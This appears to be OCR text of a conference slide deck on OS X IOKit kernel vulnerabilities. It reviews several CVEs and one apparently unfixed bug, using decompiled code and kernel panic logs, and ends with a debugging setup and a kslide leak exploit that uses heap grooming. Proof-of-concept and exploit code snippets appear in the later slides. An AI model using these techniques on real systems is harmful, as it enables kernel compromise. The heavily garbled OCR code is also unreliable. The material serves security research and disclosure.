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OS X Kernel Attack Surface

« Syscall/Mach Trap

— In general, strong

+ HFS

— Not very common these years.

« IOKit

— Still a lot, our target...

 Etc.
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|OKit vulnerability review - CVE-2013-0981

« Back to the year 2013
« CVE-2013-0981: used by EvadOrs to jailbreak iOS 6
« PC pointer can be specified by the user directly

; int sub 88661B78(int interface)

PUSH {R7,LR}

MOV R7, SP

SUB 5P, SP, #8

LDR.W RS9, [R@&] //RB@ can be specified by user-mode parameter
MOV R12, R2

LDR RO, [R@,#8x50]

MOV R2, R1

LDR.W R1, [R9,#8x344]

LDR R3, [R@&]

LDR.W RS, [R3,#8x7@

MOVS Rgg: La ’ ] PC Control
5TR R3, [SP,#Bx1@+var_18]

STR R3, [SP,#8x10+var C]

MOV R3, R12

BLX G //R9 = *(*R@ + 0x70)

ADD 5P, SP, #8

POP {R7,PC}




|OKit vulnerability review - CVE-2014-1318

« Direct PC control for OS X version

« CVE-2014-1318: discovered by Ian Beer of Google Project Zero
« UserClient IGAccelGLContext selector 0x201

__int64  fastcall IGAccelGLContext::unmap user memory( inté4 al, int64 userControlled, inté6d a3)
{

signed int wv3; // erldgl

__int64 userControlled2; // [sp+8h] [bp-28h]@2

v3 = @xEeeea2c2;
if ( a3 == 8 )
1
userControlled2 = *(_QWORD *)userControlled; //User controlled pointer
IGHashTable<IGAccelMemoryMap *,unsigned int,IGHashTraits<IGAccelMemoryMap *»>::remove(al + 4264, &userControlled2);
vA = *(_QWORD *)(al + 280);
IOLocklLock(*(_QWORD *)(v4 + 136));
I0GraphicsAccelerator?: :lock busy((I0GraphicsAccelerator2 *)vd);
v3
(*(void (_ fastcall **)(_ int64, UMKMOWN *, QWORD))(*(_QWORD *)w4 + 2128LL))(v4, &unk 34FD6, 8LL);
IntelAccelerator: :waitForEventStamp(*( QWORD *)(al + 288), al + 312, "unmap_user memory”, 63LL);
v5> = userControlled2;

(*(void (_ fastcall **)(__int64))(*(_QWORD *)userControlled? + 320LL)){userControlled?) jmtiBiulfantnal F)(: (:()r]tr()l




|OKit vulnerability review — CVE-2015-5774

« In 2015, direct PC control vulnerability is extinct
« Many exploitable heap overflow vulns
« CVE-2015-5774: credit to TaiG team

IOHIDResourcelevicelserClient: :postReportResult pOStReportResu |t Ca I Ied

IDReturn[IC-HI:'Rescu:cel‘leviceUse:Elient: :pDSlREpDﬂRESW argumenta) tW'Ce With Same descrlptor

{

}T

050bject * tokenObj = (050bject*)argumenta—r»scalarnput [kICHIDRescurcelUserClientResponseIndexToken] ;

if { tockenlk] && _pending->containsCbject (tockenlhk]) ) {
05Data * data = 05DynamicCast (05Data, tokenlhk]l);
if | data ) {

__ReportBesult * pResult = (_ ReportResult*)data->getByteaNolopy();
e = |
if | pResult->descriptor && arguments-r»structurelnput | { / Second Ca”; Overflow-
pResult-*descriptor—-»writeBytes (0, argumenta-*structurelnput, argumenta->structurelnputSize);
12978252: If we get =n IOBMD passed in, set the length to be the ¥ of bytes that were transferred

I0BufferMemoryDescriptor * buffer = 0S5DynamicCast (I0BufferMemoryDescriptor, pResult->descriptor);

1F (hmcsens — First call, enlarge the descriptor
uffer-rzetlengthi (vm_size t)argumenta-ratructurelnputiize)as . .
=l length without changing buffer

}
pResult-rret = (I0Return)argumenta-rscalarInput [kICHIDRescurcelUserClientBResponselndexBesult];

_commandGate-rcommandWakeupidata)l ;

}
} % and if tokenlbikk pending—3c .. .'I

return kIOBReturnSuccess;

postReportResult 7



|IOKit vulnerabillity review — CVE-7?7?7?7-7277

Simple IOKit vulnerability extinct ?
— Still exists but hard (exploitability)

__int64d  cdecl AGPMClient::setBoost(AGPMClient *this, IOExternalMethodArguments *args)
1

__inted v2; // rdx@d

__inted v3; // r8@e

__int&d v4; // rdigl

__inted result; // raxgl

CVE-???7?-???7? : Discovered by KeenTeam
and reported to Google Project Zero in May
2015

vd = *((_QWORD *)this + 27);

— Never got fixed till now Teselt ) DeeeseeaLL;
result - aLL;
if ( args->scalarQutputCount j
1 . result = BxEBBBBZ2CILL;
AGPMCIIent SeIeCtor 7312' if ( args-»scalarInputCount != 1 )
AGPMClient::setBoost result = @xE@0QO2CILL;

if ( !{ DWORD)result )
result = AGPM::setBoost(wv4, *{ DWORD *)args-»scalarlnput, v2, BxEBG0B2C2LL, v3);
return result;

scalarlnput[0] is user controlled



|IOKit vulnerabillity review — CVE-7?7?7?7-7277

__inte4 _ fastcall AGPM::setBoost(__int64 al, signed int inputScalar®, _ int64 a3, _ int64 a4, _ int64 a5)
{
W = =1 ; . . .
( *(_BYTE *)(al + 385) & 1 ) inputScalarO is signed
I0Log(
"AGPM: %s(%u) is called; current fBoostCountdown = %u, ControlID = Xd\n",
"setBoost”,
(unsigned int)inputScalar®,
*(_DWORD *)(al + 436),
*(_DWORD *)(al + 184));
v/ = BinputScalar®,
- = (__int64)&inputScalard; .
s e T el Cvn v Can pass the check if
p

.F

i

= - L S

{ | | inputScalar0< 0
v1@ = *(_DWORD *)(al + 312);
if ((vie )
{

if ( inputScalar® > 3 || (v11 = *(_DWORD *)(al + 8LL * (unsigned int)inputScalar® + 484)) == 0 )

OOB read here



|IOKit vulnerabillity review — CVE-7?7?7?7-7277

Can still trigger on latest EI Capitan
« Not quite exploitable

Problem: Not too many such simple
bugs nowadays

El Capitan 10.11.

EABIE LB AT EFH SR
RIEERZE Apple” DUSRERZA Apple, ULERMESHRBR,

> AR

IR {E R MR RERE

Anonymous UUID:

US X' B0 =

12A@FFF9-1A1E-95EE-A9D2-0347510C0A1E

Tue Nov 3 11:32:56 2015

#kx Panic Report soek
panic(cpu 4 caller @xffffff8e@fb8e4bf): "vm_page_check_pageable_safe: trying to add page" "from compressor object

(oxffffff80102c05c0) to pageable queue"@/Library/Caches/com.apple.xbs/Sources/xnu/xnu-3247.1.106/0sfmk/vm/vm_resident.c:7074
Frame : Return Address

Backtrace (CPU 4),
oxffffff8llcb6b48o
Oxffffff811cb6b500

Oxffffff811cb6b520 :
Oxffffff81lcb6b6ad :

Oxffffff8llcb6b8co
oxffffff81lcb6baad

Oxffffff8llcb6baco :
oxffffff81llcb6bbed :

Oxffffff8llcb6bd20
oxffffff81llcb6be30

Oxffffff8llcbébedd :
oxffffff81llcb6bead :
Oxffffff8llcb6bflo :

oxffffff811cb6bfbe

. oxffffffeeofae5357
: OxffffffBe@fbBedbf
oxffffffeeafbs36dd
OxffffffBOOTDb5769b
oxffffffeeafbdssfd
oxffffffBe0fbf4093
oxffffff7fo2bdec0ds
Oxffffff80100e1657
: OxffffffBo0fbad780
1 OxffffffBe0fae9af3
Oxffffffeeefacd448
oxffffffee0fadcfcs
Oxffffff8e0fbcl3s5a
: oxffffffeeefbfasbe

Kernel Extensions in backtrace:
com.apple.driver.AGPM(110.20.19) [71771BCA-8875-36A5-AC4F-29E4CE47489A]@0x T fffff7f92b4a000->0xffffff7f92b64T T
dependency: com.apple.iokit.IOPCIFamily(2.9) [668E3DEE-FO8E-3456-92D6-F4FEEA355A72]@@xffffff7f9032d000
dependency: com.apple.driver.IOPlatformPluginFamily(6.0.0d7) [024BE6F4-829C-3403-
B8FC-9C4C00COF924]@axffffff7f911c7000
dependency: com.apple.iokit.IONDRVSupport(2.4.1) [814A7F4B-03EF-384A-B205-9840F0594421]@0xffffff7f306e9000
dependency: com.apple.iokit.IOGraphicsFamily(2.4.1) [48AC8EA9-BD3C-3FDC-908D-09850215AA32]@0xffffff7f00622000
dependency: com.apple.AppleGraphicsDeviceControl(3.11.31) [05B2D9D7-B6CE-335F-9E70-CCB4BD29242C] @dxffffff7f90619000

mach_kernel
mach_kernel

mach_kernel :
mach_kernel :

mach_kernel
mach_kernel

i _panic + 0xe7

: _vm_page_check_pageable_safe + @x3f
_vm_fault_enter + Oxabd
_vm_page_validate_cs_mapped_chunk + @x227b
: _kernel_trap + 0x47d

: _return_from_trap + @xe3

com.apple.driver.AGPM : __ZN4AGPM8setBoostE13AGPMBoostCode + @x114

mach_kernel :

mach_kernel
mach_kernel

mach_kernel :
mach_kernel :

mach_kernel
mach_kernel

_is_io_connect_method + @xle7

: _iokit_server + 0x5d00

: _ipc_kobject_server + 0x103
_ipc_kmsg_send + @xa8
_mach_msg_overwrite_trap + @xc5
: _mach_call_munger64 + @x19a

: _hndl_mach_scalléd + 0x16

BSD process name corresponding to current thread: pocAGPMOOBRead
Boot args: keepsyms=1

Mac 0S version:
15A284

Kernel versiga.

Da

nel UUID:
slide:

HIB text base:

Version 15.0.08: Wed Aug 26 16:57:32 PDT 2015; root:xnu-3247.1.106~1/RELEASE_X86_64

ZF -8B a=3P8S=APEB=ECr792000Cos

0x0000000001800000
text base: Oxffffff8eefaeoeee
oxffffffgeef00000

§;stem model name: MacBookProl®,1 (Mac-C3EC7CD22292981F)



|OKit vulnerabillity: Think deeper?

AGPM(Client::externalMethod fully rewrite the implementation
[ IOKit iS a C+ + ba Sed fra mewo rk __int64d _ cdecl AGPMClient::externalMethod(AGPMClient *this, unsigned int a2, IOExternalMethodArguments *args |

I
L

result = 3758097096LL;
if ( !*(_QWORD *)&args-»gap_8[@] )
s

« UserClient usually overrides (

v7 = a2 - 7301;

IOUserClient: :externalMethod and result - (__int6a)off 56683

switch ( (_DWORD)V7 )
r

IOUserClient::getTargetAndMethodForIndex {

case 2:

— Some drivers totally rewrite the original [eauts = AGTHCLent: getPoverState(this, 2rgs);
implementation bi  AGPMCLient: :getHaxPouerState(this, arge);

— Others implement its own code and call the S oeaiit = AGPMCIient: setPoverState(this, args);
parent’s implementation

I0OAccelSurface2::externalMethod calls IOUserClient::externalMethod
int _ fastcall IOAccelSurface2::externalMethod(IOAccelSurface2 *al, signed _ int64 a2, _ int64 a3, _ int64 (_ fastcall **a4)(), IOAccelSurface2 *a5)

« Problem 1: Does the developer fully understand
what their parent’s implementation is?

« Problem 2: Does the method implementer know
which function call him, what check is performed?

« If not, vulnerabilities are introduced

= *(_DUWORD
1 - *(_DWORD

__int64, _ int6d (_ fastcall **)(), IOAccelSurface2 *})(v5 + 0x868))(

- =(_DWORD *
= *(_QUORD

Then IOAccelSurface2::set_shape_backing_length_ext s likely to have issue




|OKit vulnerability: CVE-2015-3705

Discovered by KeenTeam and reported to Google Project

Zero in May 2015

By calling IOConnectCallMethod API:
— structurelnput is used if structurelnputSize < 4096
— structurelnputDescriptor is used if otherwise

A A T OEx ternalMethodArguments
{

uint3Z_t vaeralon;

uint3Z_t aelector;

mach port_t aayncWakeFort;

ic user reference t * asyncReference;

113332_: asyncBeferencelount ;
const uintéd _t * acalarInput;

uintiZ ¢ acalarInputCount;

const woid * atructurelnput;

uint3Z t atructurelInputSize;
IoMemoryDescriptor * atructurelnputDeacriptor;
uinted t© * acalarCutput;

uint3Z_t acalarCutputCount;

roid * atructurelutput;

uint3Z_t© atructurelutputiize;
ItMemoryDescriptor * structurefutputDescriptor;
uint3Z t atructurefutputiescriptorSize;
uint3Z t __ reservedd;

O5C0bject ** atructureVariabklelutputData;

uint3Z t reserved [30] ;



|OKit vulnerability: CVE-2015-3705

IOReturn IOUserClient::externalMethod( uint32_t selector, IOExternalMethodArguments * args,
I0ExternalMethodDispatch * dispatch, 0S0bject * target, void * reference )

I

L

If IOUserClient::externalMethod were not IOReturn  err;

I0Service * object;
ove rr-l d d en I0ByteCount structureQutputSize;
if (dispatch)

{
uint32_t count;

But if IOUserClient::externalMethod it is a S S RS e S A
different story

Dispatch always == NULL

count = dispatch->checkStructureInputSize;
if ((kIOUCVariableStructureSize != count)
&& (count != (({areg tructureInoutDescriptor)
> args-»structurelnputDescriptor -»>getlength() : args-»structurelnputSize)))

= / =3

IOAccelSurface2::set_shape_backing_length_ext
is not aware of that!

return (kIOReturnBadArgument);

if (dispatch->function)
err = (*dispatch-»>function)(target, reference, args);
else
err = kIOReturnNoCompletion; /* implementator can dispatch */

return (err);

!/ _nre-leonard APT's don't do ool structs

if (args->structureInputDescriptor || args-»structureQutputDescriptor)
I
. L
structurelnputDescriptor usage not allowed g err = kIOReturnIPCError;

return (err);
1
J




|OKit vulnerability: CVE-2015-3705

« IOAccelSurface?2::externalMethod overrides
IO U Se rCI ie nt : : eXte rn a I M eth Od [{_intﬁd _ cdecl IDﬁ<:<felSurFa<:eZ: rexternalMethod(I0AccelSurface? *this, unsigned int a2, IOExternalMethodArguments *args,

__inte4

— structurelnputSize > 4096 intea v7; 11 e
— structurelnputDescriptor should be used s

result = I0AccelSurface2::set_shape_ backing_ length_ext(

instead of structurelnput

ructurelnput,
ructurelnputSize);

__inted _ fastcall IOAccelSurface2::set shape_backing length_ext(IOAccelSurface2 *this, unsigned int a2
unsigned int a3, _ int64 a4, int a5, _ int64 a6, _ int64 structurelnput, signed _ inté4 structurelnputSize)

structureInput + 8);

s, structurelnput value is unexpected

tureInput + 10);

if ( structureInputS
IS
L

structurelnputSize )

unexpected read

-

}
iF (via || s )
P

: *(_DWORD *)(structureInput + 8) = 65537Z; u nexpected Write




|OKit vulnerability: CVE-2015-3705

« Exploitable?

— structurelnput value is unexpected
— Valid address value but not controllable



|OKit vulnerability: Think deeper and deeper?

« Does the problem affect only for
externalMethod or
getTargetAndMethodForIndex?

— Of course not!

« Graphics driver is good candidate
— E.g IGAccelGLContext
— Easy to cause issue

v
v

Applelntel[HD5000Graphics I0AcceleratorFamily2 I0AcceleratorFamily2

offset _ ZN15 C p 555' b 2 o scrip b ; C. X processSidebandBuffer(I0AccelCommandDescriptor *,bool
offset _ ZN G processSideb ommandStreamInfo ; I processSidebandToken(IOAccelCommandStreamInfo
offset _ ZN16 G isc. elCommandStreamInfo ; IGAccelGLConte! discardSidebandToken(IOAccelCommandStreamInfo &
offset _ ZN15 o p x ityC ¥ 1: mmand‘treamlnfo 1,; postTokenSanityCheck (IOAccelCommandStreamInfo
offset ! elGLContext18proces
offset elG 18beginC eginCommandStream(I0AccelCommandStreamInfo &)
offset elGLEUntExtlﬁendCcmmandStPeamER’dIOArcechmmandStPEamInFU 5 LGAC :endCommandStream( I0AccelCommandStreamInfo &)
offset elContext212bindResourceER24I0AccelCommandStreamInfoP16I0AccelResource2bP15I0AccelChanne IOAccelContex indResource(I0AccelCommd
el2 *,uint)
elContext214unbindResourceER2410AccelCommandStreamlnfoP16I0AccelResource2P1510AccelChannel? ; IOAccelContext2: :unbindResource(
urce2
mpactCurrentVidMemory (void)
nte(t? pPEpEFEFE;UUPEE;LIOA { **_int)
: compactCurrentMappings(I0AccelMemoryMap *)
elLontextbetDataEuFFeFInPiBIOAEceannte tGetDataBufferOutP22I0AccelResourcePrivatey ; IOAccelContext2
e1ContextGetDataBufferOut elResourcePrivate *,ulong long)
dq offset 5I0AccelContext218allocOneDataBufferEbj ; IOAccelContext2::allocOneDataBuffer(bool,uint)
dgq offset _ ZN15I0AccelContext220getDataBufferPrivateEP16I0AccelResource2P22I0AccelResourcePrivatey 1 ; IOAccelContext2::getDataBufferPrivate(I0AccelResourcyd

5I0AccelContext218validateDataBufferEyP24T0BufferMemoryDescriptorP16I0AccelResource? 1 ; I0AccelContext2::validateDataBuffer(ulong

1Resource?
offset _ 7N G pop xtConfigEP: C > ig ; GLC: pop C xtC ig( C xtC ig *

offset _ |

offset _ ZN G " C & tes ce?j ; ¢ 8 0 ( 1Resource2 *,uint)
offset _ ZN1é GLC xt32removeCurrentResourceFromChannelEP16I0AccelResource2j ; IGAccelGLContext: :removeCurrentResourceFromChannel(I0OAccelResource
offset _ ZN15 elContext2l@invalidateEv_1 ; IOAccelContex inwalidate(void)

offset ! elContext217getFrameDelimiter

offset ! elG

offset GLC xt22 iresBackingS v

offset G 2 p b s _nUdEEPyyj
offset z GLC > v cekEv ; ccelGLContext
offset B G xclusiveModeE GLC:
offset G i ipleBufferedE

offset _ ZNI G 215conte !
offset G G Sdescri elGLContext: :describeDriverAllocations(IOAccelAllocationInfo *)
offset I G ethlunte(t’ﬂaddDPawableTulhannelEPlfIOA==elDFawableZ ; IGAccelGLContext: : addDrawableToChannel(I0AccelDrawable? *)

offset G ﬁvemuweDFawahleFPmmEhannelEPlfIOA lDrawableE ; IGAccelGLContext: : removeDrawableFromChannel{I0AccelDrawable2

offset G GLC xt2 o d = c xt::setCompatibleSurfaceMode(ulong long *,ulong long,int)

offset G s p SwapComp L ckEj ; > leepForSwapCompleteNolock (uint)

offset G GLC xt28addVendorSurfaceRequiredBitsEy ; IGAccelGLContext::addVendorSurfaceRequiredBits(ulong long)

offset G GLC 24get temp_allocation_infoEP16I0AccelDrawable2PjS. IGAccelGLContext: :get temp_allocation_info(IOAccelDrawable? *,uint *
offset GLC 11processSwapE7eDoSwap ; IOAccelGlContex processSwap(eDoSwap)
offset ! G ompactCurrentResourcesEP16T0AC { e2 ; IGAccelGlLContex
offset _ 7N GLC: 14updateDrawableEv ; IGAccelGlLContext::updateDrawable(

<ingStore(void)
set_compatible_surface_mode(ulong long
reSurface(void)
allowsExclusiveMode(void)

yulong long,uint)

mpactCurrentResources (I0AccelResource? *)



|OKit vulnerability: CVE-2015-3706

Discovered by KeenTeam and reported to Google Project Zero in May 2015
In IOAccelSurface?2::surfaceStart, dword at this+1144 is initialized as Oxffff

vl; [/ rax@l
ned  int6d v2; // rcx@l
ned _ int6d v3; // rax@l
__inted vd; // rax@d
__int64 v5; // rdx@6
unsigned int vb; // erldgb

__dinted v9; [/ rdx@
char v18; // al@l2

vl = *((_QWORD *)this + 6
Jthis + 614)

296) ;
_QWORD
)(_QWORD, char *))(**(_QWORD
*(_Q ‘((_QWORD *)this + 613) + 864LL),
(char *)this + 4432);
*)this + 1142) = @xFFFF;
hic o« 1142% — GwCCCC-

_DWORD *)this + 1144) = @xFFFF;

1 + 864) + 376LL))(*(_QWORD *)(
(*((_QWORD *)this + 613) + 864LL)

vl
+

+ 8
376

64
LL

), (char *)this + 4368);
1(

Initialized to Oxffff



|OKit vulnerability: CVE-2015-3706

« In userclient IOAccelSurface2 selector 7, IOAccelSurface2::set_id _mode

IOAccelSurface2::prune_buffer is called

inted _ fastcall IOAccelSurface2::set_id_mode(IOAccelSurface2 *this, _ int64 a2, unsigned int a3)
int _ fastcall IOAccelSurface2::prune_buffers(I celSurface2 *this)

I
L

I0AccelSurface2: :prune_buffers(v4);
IUACCEISUr T al SUpUGLE sildpe| vi ),

I0AccelSurfac resent_type(vd);

vlp = (IOAccelDisplayMachine2 *)*((_QWORD *)this + 614);
if ( *(( BYTE *)vl + 4565) )
vl7 = I0AccelDisplayMachine2::getScanoutResource(vl6, *((_DWORD *) + 1144), @);
else
vl7 = I0AccelDisplayMachine2::
I0AccelSurface?: :attach_buffer_

: L »
if ( *( ) = BxFFFF && *)vd + 4625) & ©
I0AccelDisplayMachine?: :setup_fullscreen( I0AccelDisplayMachine? A+ 614), vd);
goto LABEL_47;
1
el
I0FreefAligned(
(_QWORD

+ 1142) + 1858); __inte4 _ fastcall IOAccelDisplayMachine2::getScanoutResource(_ int64 this, unsigned int a2, unsigned int a3)
I
1
return IOAccelDisplayPipe2::getScanoutResource(*(_QWORD *)(this + 8LL * a2 + 136), a3);
1
I

int64 _ fastcall IOAccelDisplayPipe2::getScanoutResource(IOAccelDisplayPipe2 *this, unsigned int a2)

return *((_QWORD *)this + a2 + 39);
1

goto LABEL_43;

The I0AccelDisplayMachine2 + 8*0xffff + 136 is accessed
IOAccelDisplayMachine2 is 0x130 in size!




|OKit vulnerability: CVE-2015-3706

Later in IOAccelSurface2::attach_buffer_at_index, the returned value is used as this pointer and its
vtable entry is called

__inted _ fastcall I0AccelSurfacel::attach buffer at_index(IOAccelSurface? *this, _ int6d a2, I0AccelResource2? *00BAccessed)
I0AccelSurface2 *v4; [/ rligl

vd = this;

result = *((_QWORD *
if ( (IOAccelResource2
I

his + (signed int)a2 + 588);

*)result != 00OBAccessed )
L

if ( result )

{

a2 = (unsigned int)a2;

I0AccelSurface2: :detach_buffer_at_index(this, a2);
1

I
(*(void (_ fastcall *#*)(I0AccelResource2 *, _ int64))(*(_QWORD *)00BAccessed + 32LL))(00BAccessed, a2);

Vtable call
Wait , *((_BYTE *)this + 4565) should be 1 to reach the OOB access

int  fastcall IOAccelSurface2::prune buffers(IOAccelSurface2 *this)
{
LABEL_31:

e FTMA - — - TMs -7 - Rl

(IOMzcolPissloyMachina?.®)* ((_QWORD *)this + 614);
if ( *((_BYTE *)vl + 4565) )

VLS =

1uncce¢u15p1aymacﬁ1ne!::getScanuutRe5ource{v16, *((_DWORD *=)v1 + 1144), 8);



|OKit vulnerability: CVE-2015-3706

Before that, selector 9 () should be called to set *((_BYTE *)this + 4565) to 1

__inted _ fastcall I0AccelSurface2::set_shape_backing length_ext(I0AccelSurface? *this, unsigned int a2, unsigned in
tructureInputSize)

=
i
L

if ( (unsigned int)IOAccelDisplayMachine2::getFramebufferCount(®*((I0AccelDisplayMachine? #*#*)this + 614)) <= a3 )
return (unsigned int)vl3;

if ( v22 & ©x40 )
7

- *((_BYTE *)v17 + 4565)

PoC:

int main(int argc, char®** argv)
io connect_t conn = open_service("I0Accelerator™);

test(conn, 7 , 8xA, PxPEEAHGLOBREAAE3T) ;

test(conn, 9, Bxcfff,0xE000000000000000) ;
test{conn, 7 , Bx0, BxB0000BO00B478614);
return @;




|OKit vulnerability: CVE-2015-3706

IOAccelDisplayMachine?2 is allocated upon boot, so IOAccelDisplayMachine2 + Oxffff * 8 is hard to
control

But we still have successful rate

|pan1:[ cpu B caller Bxffffff800deladbe): Kernel trap at @xffffff7f8feeeh?s, pe 13=general protection, registers:
: BxbegeEEEEEEEEEEEE, REX: OxbOEEOEEEEEEEEEEE, RCX: Ox0000000000000089, RDX: AxAARARAAAAAAAAAEE
! Bxffffff811945ba5@8, RBP: @xffffff811945ba5@8, RSI: @x0000000000000000, RDI: 8x4141414141414141

! Bx0000Resfa0000088, R9: Ox0000008810000088, R1B: BxfHHiff3828411f88, R1l: HxUBUEEUEELULBLBLEDEE
2: BKFFFFFFEBZSZE?leE, R13: BKBBBBBBBBBBi?Eﬂli, R14: Bxffffff8823286808, R15: BxBB0B800000000000
! BxBRRRRRRRRRR1R2Ae, RIP: Bxffffff/f8feeeb’b, CS5: OxBEERRRRRERRRRR0SE, ! BxBRRRRRRRRRRRRR1E




Part 2. OS X Exploitation Technology



Oh, wait, nothing more...

Anonymous UUID: B6@2B8B2-5875-9CF3-22BF-2C5@573830DC
Thu Oct 22 21:85:35% 2815

##% Panic Report ==
panicicpu @ caller BxffffffBOBde3bcce): "A kext releasing aln) IDAccelerationUserClient has corrupted the
registry."@/Library/Caches/com.apple.xbs/Sources/xnu/xnu-3247.1.186/ libkern/c++/050bject.cpp:28@
Backtrace (CPU @), Frame : Return Address
PxFFFFFfO13c6b3ded : BxFFffFffBABdBe5357 mach_kernel : _panic + Bxe7
PxFFFFFfO1l3cob3etd : BxTFfTffBOR@de3bcce mach_kernel : _ ZNKBOSObjectl3taggedReleaseEPKvi + @x9e
PxFFFFFfO1l3cob3eBB : BxTFFFFf7fBe747c@F com.apple.iokit.IOHIDFamily :

_ ZN29I0HIDResourcebevicelserClientdfreeEv + Bx51

DxfFffFfol3cEblead : BxFFFfFfEOAde3ch3l mach_kernel : _ NTOSArraylSTlushCollectionEv + BxBl
PxFFfFfT913c6b3edd : BxTFFFfTTEBAde3c976 mach_kernel : _ ZNTOSArraydfreeEv + Bx16
BxfFFFffol3cob3efd : BxTTFfTTTEA@deSa34c mach_kKernel : _ ANS0S5SetdfreeEv + Bxlc
BxFFFFFTO1l3cob3Tla : BxTTFTTTEAOdellcST mach_kernel : _ ZN9I0ServicelSterminatewWorkerEj + @xb7yf
BxFFFFFFO13cob3To8 : BxTFIfTTTEA@del1dd7 mach_kernel : _ ZN9I0ServicelSterminateThreadEPvi + @x27

BxFFFFFfO13cob3Thbd : BxFFFfFFTBO@d9d14b7 mach_kernel : _call_continuation + @x17
Kernel Extensions in backtrace:
com. apple. iokit. IOHIDFamily(2.0) [353AFBA9-B775-34E3-BFEB-4@DTAD2C530A] @@x T f7fBa7150008-
=@ FFFFFf7fBeTBafff
dependency: com.apple.driver.AppleFDEKeyStore(28.38) [DEFD5533-2362-3320-A475-
DFAF2TDAZACF] @@xTFf T 7 TReTRadon

BSD process name corresponding to current thread: kernel_task
Boot args: keepsyms=1 debug=08x1 kdp_match_name=firewire fwkdp=8xBA0@ dart=0 kmem=1

Mac 05 wersion:
154284

Kernel wersion:

Darwin Kernel Version 15.8.8: Wed Aug 26 16:57:32 PDT 2015; root:xnu-3247.1.186~1/RELEASE_XBG6_64
Kernel UUID: 37BCSB2F-BBF4-3FE5-AFBB-ECF7920600CER

Kernel slide: Bx@paaeaneadoneane

Kernel text base: BxTfffffE2adioeaee

__HIB text base: BxTfifffEoad7agaee

System model name: MacBookAir6,2 (Mac-7DF21CB3EDGBATTES)

System uptime in nanoseconds: 459517@5558

last loaded kext at 5315869156: com.apple.driver.AudicAUUC 1.78 (addr @xffffff7TETS45080, size 3276RE)
loaded kexts:

com.apple.driver. AudicAUUC 1.7@

com.apple.driver. AGFM 118.20.19

com.apple.driver.ApplePlatformEnabler 2.5.1d@

IMEHE, $iFIHEE, We NEED DEBUGIng!!



OS X Debugging

apple provide another method to debug kernel

| 1 ReadMe.html *

C [ file:///Library/Developer/KDKs/KDK_10.11_15A284.kdk/ReadMe.html

Firewire Debugging
The default setting for two machine debugging is as follows:

r boot-args="debug=0x146 kdp match name=firewire fwkdp=0x8000"

MNon-built-in FireWire controllers are specifically excluded from working for both FireWireKDP and FireWireKPrintf. This is intentional. However there is an easy way it
To enable non-built-in interfaces for FireWireKDP, add the "fwkdp=0x8200" boot-arg. For FireWireKPrintf, use "fwkp£=0x8000"

However, this support comes with a caveat. Once the FireWire controller has been "used" for either FireWireKDP or FireWireKPrinti, it must not be unplugged or the |
should just leave them connected until you disable the "0x8000" boot-arg and restart,

If you are on a machine without built-in firewire, you can use one of the following:

« Thunderbolt -= Firewire adaptor
« Firewire port on a Apple Thunderbolt display

On the host machine, cpen a terminal window and type the following:
Leave that window open. Mow in a second window, you can invoke lldb and issue the following command:
Xdp—~remoce LoCallost
The fwkdp redirector software redirects kdp packets as if the host machine was the panicked machine. Saving a coredump is done locally on the host, e.g. in lidb:

r firewire debugging

sendcore 1.2.3.4 # IP addresa does not matter £

0o

worth to try...



OS X Debugging

But FireWire has been abandoned by Apple...

b i 7

T W § s
¥ '

iMac

MacBook Pro Mac Pro



OS X Debugging

So this is my Workstation

hackintosh(host) pcie-1394b card

real osx machine(debug) 1394b line



OS X Debugging

In fact..

Apple Thunderbolt to FireWire Adapter

o



OS X Debugging

What we can do

set breakpoint(int3)
step in/out/over
register read
memory read/write
Disassemble

What we cannot do

set hardware breakpoint(watchpoint)

Sometimes lldb works not very well...

But... much better than nothing!



OS X Kernel mitigations

KASLR
— kslide is assigned upon booting. (Kexts and kernel share the same slide)

DEP
— Disallow kernel RWX

SMEP



Exploitation on Yosemite: CVE-2015-5774

Overflow in IOHIDResourceDeviceUserClient::_postReportResult

zone.256

pointer f XXX buffer + XXX | .

overflow

IOHIDResourceDeviceUserClient



Leaking kslide

RootDmain [RootDmain |RootDmain |RootDmain |RootDmain [RootDmain |RootDmain |RootDmain
UserClient |UserClient |UserClient [UserClient |[UserClient |UserClient |[UserClient |UserClient
RootDmain ool RootDmain |RootDmain ool RootDmain |RootDmain ool
UserClient UserClient |UserClient UserClient |UserClient
ool RootDmain ool RootDmain ool
UserClient UserClient
» v R <

buffer




Leaking kslide

printf("Initialization is owver.%n");
for{int i=8;i<18@;i++)alloc_tablel[i] = open_service("I0OPMrootDomain');
for{int i=0;i<100;i++)
if(i%3==2){
I0ConnectRelease{alloc_tableli]);

printf({"Release the 2rd IOPMrootDomain in every 3 objects.\n");
char* vz = calleoc(15@8,1);
memset{vz,@x41, 1508);
for{int i=0;i<10@;i++)
if(i%3==2){
send_kern_data(vz, 256-8x58, &port_table[i]);
}

printf("Send kernel data to drop into each hole.wn™);
for{int i=8;i<10@;i++)
if(i%3==0){
printf("Release %dyn",i);
I0ConnectRelease{alloc_tablelil);
}
printf({"Release the 1lst IOPMrootDomain in every 3 objects.\n");
uint64_t payload[2];

payload[@] = @8xblb2b3b4bSb6bThE;
payload[1] = @xclc2c3cdcSchoTcl;
payload[2] = @8xala2aladababaTal;

printf(“sizeof payload: %lu‘n™,sizeof(payload));
kernel_exp(conn_main, conn_second, (IODataQueueMemorys)map_addr, {voids)payload,sizeof({payload));
printf("Kernel Zone overflow.\n");

for{int i=@;i<18@;i+)
if(i%3==2){
char* data = read_kern_data(port_table[i]);
printf{"%d : @x%@1Lx\n",i,*(uint6d_t=){(256—-8x58+(charx)data)));



Leaking kslide

fwkdp lidi»

Mach_msg

RootDomainUserClient



Leaking kslide

struct vm_map_copy {
int type;
#define VM_MAP_COPY_ENTRY_LIST 1
#define VM_MAP_COPY_OBJECT 2
#define VM_MAP_COPY_KERMEL_BUFFER 3
vir_object_offset_t offset:

WIm_size_t sizae:
union {
struct vim_map_header hdr:  ENTRY LIST +/
struct { S OBJFCT %
vim_object_t object;
wim_size_t index: S record progress as pages
* are moved from object to
*page st must be zero
*when first invoking
*vm_map_object to page st
be o
ruct { ST KERNFL_BUFFER =7
wm_offset_t kdata:
vim_size_t kalloc_size: /% size af this copy t %/
ek
be_w




Leaking kslide

[ ] Desktop — bash — 119x43

Release the 1st I0OPMrootDomain in every 3 objects.
sizeof payload: 32
outputStructSize is 288.
begin calling 1@.
5ize:288B
begin calling 3.
end calling 1.
end calling 3.
Kernel Zone overflow.
2 @ Bxe
5 @ OxfTffffBal2c23a7@
8 : Bx@

: Bxe

i Bxe

HL )

i Bxe

HL )

i Bxe

HL )

i Bxe

HL )

i Bxe

HL )

i Bxe

HL )

i Bxe

HL )

i Bxe

HL )

i Bxe

HL )

